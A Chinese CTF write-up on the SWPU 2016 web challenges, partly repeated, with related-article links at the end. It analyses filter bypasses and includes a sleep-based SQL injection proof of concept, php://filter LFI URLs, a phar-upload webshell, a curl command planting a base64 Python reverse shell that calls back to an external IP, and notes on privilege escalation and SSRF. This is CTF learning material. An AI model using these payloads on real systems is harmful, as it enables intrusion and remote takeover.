SWPU 2016 web 部分思路整理
2016-11-01 15:05
369 查看
本来早就该发了,一直以为上周发过了。。。
事前吐槽下把,不知道是校网的原因还是服务器的原因,我用校园网连不上比赛服务器,
挂上代理之后能够连上但是又很不方便做题,加上vps有点问题什么的,也就瞬间没了欲望。
整理下一些题的思路把。
由于连不上服务器,python脚本也写不了,所以有些题就只有思路,也不算wp。
加上我个人对题目的理解和分析,由于没有实际做题,如果有问题希望大家指正
过滤了很多,空格、#、*、union、、and、or、|、+,–、&、%0a、%0b、%0c、%0d等等,也就没法用联合查询来绕过什么的,也就直接转想盲注把。
这里我们很容易发现问题所在,并且可以利用来进行盲注
观察上面两张图返回完全不一样的答案,所以写个脚本就能猜解出passwd了
这里脚本我就懒得写了。没有VPS懒得代理了。
简单扫一下发现存在备份文件。
感觉少了些什么,不过肯定是个反序列化漏洞,肯定还有其他文件,换个再扫一下发现了一个
就是一个反序列化构造,绕过
由于最近恰好在做代码审计,发现这个过滤感觉挺像
附链接:http://www.cheery.win/?p=119可以用单撇号来bypass。
PS:正常的80sec-ids最初的匹配是
但是本题的是:
所以猜测这里多半会用
接下来这里我结合自己分析下这个改版的
首先第一部分
这里过滤
接下来就是关键部分
这里通过匹配
简单的说就是如下图所示,我输入第一行,然后被一通操作搞成第二行的样子然后进行接下来的过滤。
也就是说,下述的过滤代码都是对第二行这样子的进行过滤,所以我们就可以把我们的东西藏在单引号里面来bypass
所以总的来说我们这里肯定是利用
再简单的说,下面两个句子的效果是一样的。
但是利用上面的句子我们可以bypass掉过滤,这样我们就可以构造sql语句进行爆破了,给个poc如下:
另外我们还要注意一个地方,
链接:http://blog.csdn.net/qq_19876131/article/details/52890854
所以综上就可以做题了。具体就没操作了,要是分析的有问题希望大家指正
拿到
然后
观察这里用白名单来过滤,那么想到伪协议什么的,吧一句话写到一个php里面,压缩成zip,再改名上传,用zip或是phar包含应该就可以了,
注意这里一句话的传参数不能用get(好吧估计也就我个人喜欢用GET)。
具体操作就是
创建一个bendawang.php,写入一句话,然后压缩成
拿到flag并且拿到下一个tip,
利用webshell先反弹个shell好操作一些,再执行如下代码,往我自己的vps上弹一个shell。
根据tomcat加root那么都不用想肯定是提权,那就是最近的
如下,没用自己的电脑做所以临时找的比较挫不过没事:
接下来就是回连,以及执行poc,由于网速太渣和服务器太渣,实在是太慢了,后续工作就没有做了。
写个脚本跑下发现
然后在那字典跑目录,发现存在一个/admin目录
下面还有个
首先看
把传参直接搞成变量,必然存在变量覆盖问题。
但是找找可用的变量,只有在
但是我们观察第一部分代码,既然我们要覆盖,那么我们就不能让
非常明显的反序列化注入,而且正好能够删除用户,加上代码里面没有地方销毁session,那么正好是我们所想要达到的目标。
但是我们看看代码,有一个
这里需要获取
所以全部都在cookie里面了,所以接下来就可以删除用户了,然后到达覆盖变量id的目的,从而完成注入。由于没有实际做题,所以后续的做法也不知道,就只能分析到这里了。
事前吐槽下把,不知道是校网的原因还是服务器的原因,我用校园网连不上比赛服务器,
挂上代理之后能够连上但是又很不方便做题,加上vps有点问题什么的,也就瞬间没了欲望。
整理下一些题的思路把。
由于连不上服务器,python脚本也写不了,所以有些题就只有思路,也不算wp。
加上我个人对题目的理解和分析,由于没有实际做题,如果有问题希望大家指正
web 50
源码里面拿到flagweb 200-1
一个什么流量监控系统,在响应头里面拿到base64编码的tips,如下:
$query="SELECT * FROM admin WHERE uname='".$uname."'"; if ($row['passwd']===$passwd) { $_SESSION['flag'] = 1;
过滤了很多,空格、#、*、union、、and、or、|、+,–、&、%0a、%0b、%0c、%0d等等,也就没法用联合查询来绕过什么的,也就直接转想盲注把。
这里我们很容易发现问题所在,并且可以利用来进行盲注
观察上面两张图返回完全不一样的答案,所以写个脚本就能猜解出passwd了
这里脚本我就懒得写了。没有VPS懒得代理了。
web 200-2
也是懒得解决代理问题,简单扫一下发现存在备份文件。
index.php.bak如下:
if(isset($_COOKIE['user'])) { $login = @unserialize(base64_decode($_COOKIE['user'])); if(!empty($login->pass)){ $status = $login->check_login(); if($status == 1){ $_SESSION['login'] = 1; var_dump("login by cookie!!!"); } } }
感觉少了些什么,不过肯定是个反序列化漏洞,肯定还有其他文件,换个再扫一下发现了一个
function.php,而且也是有备份文件的
function.php.bak,太多不贴代码了。
就是一个反序列化构造,绕过
checksql()函数,然后还是因为网络原因暂时没法儿用burp,也懒得下其他浏览器插件来改cookie,也就没有实际做这道题。
由于最近恰好在做代码审计,发现这个过滤感觉挺像
80sec-ids的过滤,刚看完不久
附链接:http://www.cheery.win/?p=119可以用单撇号来bypass。
PS:正常的80sec-ids最初的匹配是
if(preg_match('/[^0-9a-z@._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@.-]{1,}/', $sql)) { $this->DisplayError("$sql||SelectBreak",1); }
但是本题的是:
if ($querytype == 'select') { $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}"; if (preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } }
所以猜测这里多半会用
sleep、benchmark什么的把。
接下来这里我结合自己分析下这个改版的
80sec-ids把。
首先第一部分
if ($querytype == 'select') { $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}"; if (preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } }
这里过滤
select语句的一些特殊语法,不过这里没有直接过滤
sleep和
benchmark,所以就有机会bypass。
接下来就是关键部分
while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean.= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif($pos2 == FALSE || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean.= '$s$'; $old_pos = $pos + 1; }
这里通过匹配
‘确定提取出每两个单引号直接的内容,并且将其中的内容通过 substr()函数截断下来,再将剩下来的语句进行匹配,所以只要我们将我们需要的语句藏在 两个单引号之间就OK了
简单的说就是如下图所示,我输入第一行,然后被一通操作搞成第二行的样子然后进行接下来的过滤。
也就是说,下述的过滤代码都是对第二行这样子的进行过滤,所以我们就可以把我们的东西藏在单引号里面来bypass
if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') !== FALSE OR strpos($clean, '$s$$s$') !== FALSE) { $fail = TRUE; if (preg_match("#^create table#i", $clean)) $fail = FALSE; $error = "unusual character"; } elseif(strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error = "comment detect"; } elseif(strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error = "slown down detect"; } elseif(strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error = "slown down detect"; } elseif(strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error = "file fun detect"; } elseif(strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error = "file fun detect"; }
所以总的来说我们这里肯定是利用
sleep进行bool盲注,所以就需要把
sleep藏在两个单引号之间。
再简单的说,下面两个句子的效果是一样的。
select `'`.``.passwd from admin; select passwd from admin;
但是利用上面的句子我们可以bypass掉过滤,这样我们就可以构造sql语句进行爆破了,给个poc如下:
admin' and (select 1 from flag where ascii(substring(flag,1,1))=30) and (`'`.``.flag=1 or sleep(5)) #
另外我们还要注意一个地方,
login()函数,如果我们想要搞定这个,就需要把里面的
__wakeup给pass掉,我之前分析过这个漏洞,
链接:http://blog.csdn.net/qq_19876131/article/details/52890854
所以综上就可以做题了。具体就没操作了,要是分析的有问题希望大家指正
web 100 和web 200-3
文件包含,这里注意它会在你的输入后面强制加上.php,所以通过
php://filter读源码的时候要注意下
http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=upload http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=include
拿到
include.php如下:
<html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>
然后
upload.php如下:
<form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form> <?php if(!empty($_FILES["file"])) { echo $_FILE["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>
观察这里用白名单来过滤,那么想到伪协议什么的,吧一句话写到一个php里面,压缩成zip,再改名上传,用zip或是phar包含应该就可以了,
注意这里一句话的传参数不能用get(好吧估计也就我个人喜欢用GET)。
具体操作就是
创建一个bendawang.php,写入一句话,然后压缩成
bdw.zip,该后缀为
bdw.jpg,上传,然后访问
http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang,如下:
拿到flag并且拿到下一个tip,
利用webshell先反弹个shell好操作一些,再执行如下代码,往我自己的vps上弹一个shell。
curl -d "a=%24f%3Dfopen%28%22%2ftmp%2fa.py%22%2C%22wb%22%29%3Bfwrite%28%24f%2Cbase64_decode%28%22aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwNC4xNjAuNDMuMTU0Iiw1NTU1NSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7%22%29%29%3B%0Afclose%28%24f%29%3Bsystem%28%22python%20%2ftmp%2fa.py%22%29%3B" "http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang"
根据tomcat加root那么都不用想肯定是提权,那就是最近的
CVE-2016-1240了。
freebuf上有poc,但是这里要注意需要的是tomcat的用户才能提权,现在已经有
www-date的shell了,往tomcat目录下写个jsp马
如下,没用自己的电脑做所以临时找的比较挫不过没事:
接下来就是回连,以及执行poc,由于网速太渣和服务器太渣,实在是太慢了,后续工作就没有做了。
web 300
一个明显的ssrf,file:///etc/issue读到是centos,然后查看网卡信息
/etc/sysconfig/network-scripts/ifcfg-eth0,如下:
写个脚本跑下发现
172.16.181.166开着80端口,根据回显应该就是这个ip了,
然后在那字典跑目录,发现存在一个/admin目录
下面还有个
login.php,
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body class="signin"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"> <title>wllmctf管理中心</title> <form method="post" action=wllmctf_login.php> <h4 class="no-margins">后台登录</h4> <input type="text" class="form-control uname" id="user" name="username" placeholder="用户名"> <input type="password" class="form-control pword m-b" name="password" placeholder="密码"> <button id="submit" name="submit" class="btn btn-success btn-block">登录</button> </form> <!-- Mirrored from www.zi-han.net/theme/hplus/login_v2.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:19:52 GMT --> </body></html>
web 400
进入网页折腾半天没什么收获,然后扫了下目录发现个web.zip,里面有源码,代码审计。
首先看
common.php,重点这部分
把传参直接搞成变量,必然存在变量覆盖问题。
但是找找可用的变量,只有在
riji.php下面,有一个
$id变量,
<?php require_once("common.php"); session_start(); if (@$_SESSION['login'] !== 1) { header('Location:/web/index.php'); exit(); } if($_SESSION['user']) { $username = $_SESSION['user']; @mysql_conn(); $sql = "select * from user where name='$username'"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if($result['userid']) { $id = intval($result['userid']); } } else { exit(); } ?> <!DOCTYPE HTML> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>日记系统</title> <meta name="keywords" content="日记系统" /> <meta name="description" content="" /> <link rel="stylesheet" href="css/index.css"/> <link rel="stylesheet" href="css/style.css"/> <link rel="stylesheet" href="css/animate.css"/> <script type="text/javascript" src="js/jquery1.42.min.js"></script> <script type="text/javascript" src="js/jquery.SuperSlide.2.1.1.js"></script> <!--[if lt IE 9]> <script src="js/html5.js"></script> <![endif]--> </head> <body> <!--header start--> <div id="header"> <h1>日记系统</h1> <p>一个给小美的日记系统</p> </div> <!--header end--> <!--nav--> <div id="nav"> <ul> <li><a href="index.php">登陆</a></li> <li><a href="forget.php">找回密码</a></li> <li><a href="riji.php">个人日记</a></li> <li><a href="guestbook.php">写日记</a></li> <li><a href="logoff.php?off=1">注销</a></li> <div class="clear"></div> </ul> </div> <!--nav end--> <!--content start--> <div id="content"> <!--left--> <div class="left" id="riji"> <div class="weizi"> <div class="wz_text">当前位置:<a href="#">首页</a>><h1>个人日记</h1></div> </div> <div class="rj_content"> <?php @mysql_conn(); $sql1 = "select * from msg where userid= $id order by id"; $query = mysql_query($sql1); $result1 = array(); while($temp=mysql_fetch_assoc($query)) { $result1[]=$temp; } mysql_close(); foreach($result1 as $x=>$o) { echo display($o['msg']); } ?> </div> </div> </div> </body> </html>
但是我们观察第一部分代码,既然我们要覆盖,那么我们就不能让
$result['userid']有值,但是我们还要必须保证
$_SESSION['user']有值,不然就会
exit,这里问题就是,我们如何做到没有这个用户但还要保留这个用户的
$session,这里没有用到的
api.php就起到作用了。
<?php require_once("common.php"); session_start(); if (@$_SESSION['login'] === 1){ header('Location:/web/riji.php'); exit(); } class admin { var $name; var $check; var $data; var $method; var $userid; var $msgid; function check(){ $username = addslashes($this->name);//�������ݿ�����ݽ���ת�� @mysql_conn(); $sql = "select * from user where name='$username'"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if(!empty($result)){ //���� salt ��֤�Ƿ�Ϊ���û� if($this->check === md5($result['salt'] . $this->data . $username)){ echo '(=-=)!!'; if($result['role'] == 1){//����Ƿ�Ϊadmin�û� return 1; } else{ return 0; } } else{ return 0; } } else{ return 0; } } function do_method(){ if($this->check() === 1){ if($this->method === 'del_msg'){ $this->del_msg(); } elseif($this->method === 'del_user'){ $this->del_user(); } else{ exit(); } } } function del_msg(){ if($this->msgid) { $msg_id = intval($this->msgid);//��ע�� @mysql_conn(); $sql1 = "DELETE FROM msg where id='$msg_id'"; if(mysql_query($sql1)){ echo('<script>alert("Delete message success!!")</script>'); exit(); } else{ echo('<script>alert("Delete message wrong!!")</script>'); exit(); } mysql_close(); } else{ echo('<script>alert("Check Your msg_id!!")</script>'); exit(); } } function del_user(){ if($this->userid){ $user_id = intval($this->userid);//��ע�� if($user_id == 1){ echo('<script>alert("Admin can\'t delete!!")</script>'); exit(); } @mysql_conn(); $sql2 = "DELETE FROM user where userid='$user_id'"; if(mysql_query($sql2)){ echo('<script>alert("Delete user success!!")</script>'); exit(); } else{ echo('<script>alert("Delete user wrong!!")</script>'); exit(); } mysql_close(); } else{ echo('<script>alert("Check Your user_id!!")</script>'); exit(); } } } $a = unserialize(base64_decode($api)); $a->do_method(); ?>
非常明显的反序列化注入,而且正好能够删除用户,加上代码里面没有地方销毁session,那么正好是我们所想要达到的目标。
但是我们看看代码,有一个
check()函数被调用了,如果能够绕过就很方便了,看看函数,重点部分:
if($this->check === md5($result['salt'] . $this->data . $username)){ echo '(=-=)!!'; if($result['role'] == 1){//����Ƿ�Ϊadmin�û� return 1; } else{ return 0; }
这里需要获取
$salt,但是我们看看
index.php。
所以全部都在cookie里面了,所以接下来就可以删除用户了,然后到达覆盖变量id的目的,从而完成注入。由于没有实际做题,所以后续的做法也不知道,就只能分析到这里了。
相关文章推荐
- WEB开发系统异常设计思路整理
- 整理部分JS 控件 WEB前端常用的做成Jsp项目,方便今后直接用
- 【数学建模】CUMCM-2016A 系泊系统的设计 解题思路整理
- WEB开发系统异常设计思路整理,J2EE异常设计(原创)
- GTP+SDI工程播出部分思路整理(3)
- GTP+SDI工程播出部分思路整理(2)
- 整理部分JS 控件 WEB前端常用的做成Jsp项目,方便今后直接用
- 2016 SWPU 自己做出题目的思路分享
- 详解2016 SWPU CTF web4
- 【整理】JavaWeb开发的高并发优化思路
- web典型理论题整理HTML+CSS部分
- 自己整理的部分腾讯web前端开发的笔试题目及答案
- 2016最全的web前端面试题及答案整理
- 0CTF 2017 部分Web的某些不一样的思路
- web前端面试题JavaScript第一弹,个人整理部分面试题汇总
- SSM 框架搭建 web 项目的思路整理
- 微软2016校招笔试 第二场部分题目个人思路
- web典型理论题整理JS部分
- WEB开发系统异常设计思路整理,J2EE异常设计(原创)
- 微软2016校招笔试 第一场部分题目个人思路